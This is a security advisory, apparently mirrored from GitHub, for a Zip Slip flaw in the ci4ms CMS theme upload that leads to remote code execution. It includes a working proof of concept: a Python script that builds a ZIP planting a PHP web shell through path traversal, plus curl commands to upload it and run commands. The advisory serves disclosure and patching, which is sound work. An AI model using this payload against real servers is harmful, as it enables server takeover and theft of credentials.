GHSA-XV3R-VR59-95RG

Vulnerability from github – Published: 2026-04-22 17:29 – Updated: 2026-04-22 17:29
VLAI?
Summary
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE
Details

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:29:58Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:\n\n```php\npublic function upload()\n{\n    $valData = ([\n        \u0027theme\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Theme.backendTheme\u0027), \u0027rules\u0027 =\u003e \u0027uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]\u0027],\n    ]);\n    if ($this-\u003evalidate($valData) == false) return redirect()-\u003eroute(\u0027backendThemes\u0027)-\u003ewithInput()-\u003ewith(\u0027errors\u0027, $this-\u003evalidator-\u003egetErrors());\n    $file = $this-\u003erequest-\u003egetFile(\u0027theme\u0027);\n    $tempPath = WRITEPATH . \u0027tmp/\u0027 . str_replace(\u0027_theme.zip\u0027, \u0027\u0027, $file-\u003egetName()) . \u0027/\u0027;\n    $zip = new \\ZipArchive();\n    if ($zip-\u003eopen($file-\u003egetTempName()) === true) {\n        $zip-\u003eextractTo($tempPath);     // no entry-name validation\n        $zip-\u003eclose();\n    } ...\n    $log = install_theme_from_tmp($themeName);\n    ...\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.\n\nA companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile(\u0027evil_theme.zip\u0027,\u0027w\u0027) as z:\n    z.writestr(\u0027../../public/shell.php\u0027, \u0027\u003c?php system(\\$_GET[\\\"c\\\"]); ?\u003e\u0027)\n    z.writestr(\u0027info.xml\u0027, \u0027\u003ctheme name=\\\"x\\\"/\u003e\u0027)\n\"\n```\n\nUpload through the Theme manager with an authenticated session that has theme create:\n\n```bash\ncurl -i -b \u0027ci4ms_session=\u003cSESSION_ID\u003e\u0027 \\\n  -F \u0027theme=@evil_theme.zip\u0027 \\\n  https://target.example.com/backend/themes/themesUpload\n```\n\nTrigger the shell:\n\n```bash\ncurl \u0027https://target.example.com/shell.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.",
  "id": "GHSA-xv3r-vr59-95rg",
  "modified": "2026-04-22T17:29:58Z",
  "published": "2026-04-22T17:29:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…